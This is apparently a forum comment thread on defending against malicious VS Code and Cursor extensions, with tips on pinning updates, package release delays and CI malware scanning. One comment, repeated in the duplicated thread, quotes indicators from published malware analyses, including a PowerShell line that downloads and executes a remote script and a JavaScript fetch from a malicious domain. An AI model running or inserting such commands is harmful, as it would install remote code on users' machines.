5 ms·

friendly reminder: - disable auto-updates for extensions in VS Code/Cursor - use static analysis for GitHub Actions to catch security issues in pre-commit hoo

by vldszn 4mo ago

friendly reminder: - disable auto-updates for extensions in VS Code/Cursor - use static analysis for GitHub Actions to catch security issues in pre-commit hook and on ci: https://github.com/zizmorcore/zizmor https://github.com/zizmorcore/zizmor - set locally: pnpm config set minimum-release-age 4320 # 3 days in minutes https://pnpm.io/supply-chain-security https://pnpm.io/supply-chain-security - for other package managers check: https://gist.github.com/mcollina/b294a6c39ee700d24073c0e5a4e93104 https://gist.github.com/mcollina/b294a6c39ee700d24073c0e5a4e... - add Socket Free Firewall when installing npm packages on CI to catch malware https://docs.socket.dev/docs/socket-firewall-free#github-actions https://docs.socket.dev/docs/socket-firewall-free#github-act...

arandomhuman 4mo ago
friendly reminder: use vim :)
- vldszn 4mo ago
  =)
- leni536 4mo ago
  It honestly surprises me we don't hear news about vim/neovim plugin supply chain attacks.
  - arandomhuman 4mo ago
    probably a much smaller dependency graph (lesser usage of transitive dependencies)
  - gus_ 4mo ago
    https://www.reddit.com/r/neovim/comments/1j45stl/someone_wrote_malicious_code_in_the_neovim_plugin/ https://www.reddit.com/r/neovim/comments/1j45stl/someone_wro...
- IcyWindows 4mo ago
  If you are a person that installs extensions from public sources, it doesn't matter what IDE you use. If you don't (or can't) install extensions, it also doesn't matter which IDE you use.
  - archargelod 4mo ago
    You can and should and I do glance at a diff of changes every time you update a vim plugin. To make this feasible - I only use a handful of plugins I *really need*.
mikeweiss 4mo ago
Or how about just don't allow your VS extensions outbound Internet access ...
- no-name-here 4mo ago
  How? I haven’t found a way to do that on windows, as even with third-party monitoring firewalls, extension's network access is indistinguishable from the rest of VS code, so you’d either have to disallow network access from both VS code and all of its extensions combined, or none of them?
  - gus_ 4mo ago
    restrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data. Take for example this activity from a malicious extension: This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers. powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex" This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent. https://securitylabs.datadoghq.com/articles/mut-9332-malicious-solidity-vscode-extensions/ https://securitylabs.datadoghq.com/articles/mut-9332-malicio... Or this one: const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json'; function fetchConfigAndRun() { http.get(CONFIG_URL, (res) they also establishes outbound connections to dropbox and other not expected domains: https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-malware https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-m... so maybe it's not bulletproof, but it helps to mitigate these threats.
no-name-here 4mo ago
Thanks! > for other package managers For other js package managers. Sadly such functionality seems far less common for c# (nuget) or rust (cargo). > add Socket Free Firewall when installing npm packages on CI to catch malware It appears that functionality depends on blacklisting malware from being downloaded? But don't the repositories (npm, etc) take down malware once it's identified - is socket actually blacklisting malware faster than npm? That sounds unlikely, but maybe? For the vs code extension from the op post, it seems like it was live for like 18 minutes on the official vs code marketplace, and slightly longer on openvsx as ms sadly doesn't allow vs code clones to use the official marketplace.
- vldszn 4mo ago
  [dead]

by vldszn 4mo ago

arandomhuman 4mo ago

friendly reminder: use vim :)

vldszn 4mo ago
=)
leni536 4mo ago
It honestly surprises me we don't hear news about vim/neovim plugin supply chain attacks.
- arandomhuman 4mo ago
  probably a much smaller dependency graph (lesser usage of transitive dependencies)
- gus_ 4mo ago
  https://www.reddit.com/r/neovim/comments/1j45stl/someone_wrote_malicious_code_in_the_neovim_plugin/ https://www.reddit.com/r/neovim/comments/1j45stl/someone_wro...
IcyWindows 4mo ago
If you are a person that installs extensions from public sources, it doesn't matter what IDE you use. If you don't (or can't) install extensions, it also doesn't matter which IDE you use.
- archargelod 4mo ago
  You can and should and I do glance at a diff of changes every time you update a vim plugin. To make this feasible - I only use a handful of plugins I *really need*.

mikeweiss 4mo ago

Or how about just don't allow your VS extensions outbound Internet access ...

no-name-here 4mo ago
How? I haven’t found a way to do that on windows, as even with third-party monitoring firewalls, extension's network access is indistinguishable from the rest of VS code, so you’d either have to disallow network access from both VS code and all of its extensions combined, or none of them?
- gus_ 4mo ago
  restrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data. Take for example this activity from a malicious extension: This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers. powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex" This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent. https://securitylabs.datadoghq.com/articles/mut-9332-malicious-solidity-vscode-extensions/ https://securitylabs.datadoghq.com/articles/mut-9332-malicio... Or this one: const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json'; function fetchConfigAndRun() { http.get(CONFIG_URL, (res) they also establishes outbound connections to dropbox and other not expected domains: https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-malware https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-m... so maybe it's not bulletproof, but it helps to mitigate these threats.

no-name-here 4mo ago

Thanks! > for other package managers For other js package managers. Sadly such functionality seems far less common for c# (nuget) or rust (cargo). > add Socket Free Firewall when installing npm packages on CI to catch malware It appears that functionality depends on blacklisting malware from being downloaded? But don't the repositories (npm, etc) take down malware once it's identified - is socket actually blacklisting malware faster than npm? That sounds unlikely, but maybe? For the vs code extension from the op post, it seems like it was live for like 18 minutes on the official vs code marketplace, and slightly longer on openvsx as ms sadly doesn't allow vs code clones to use the official marketplace.

vldszn 4mo ago
[dead]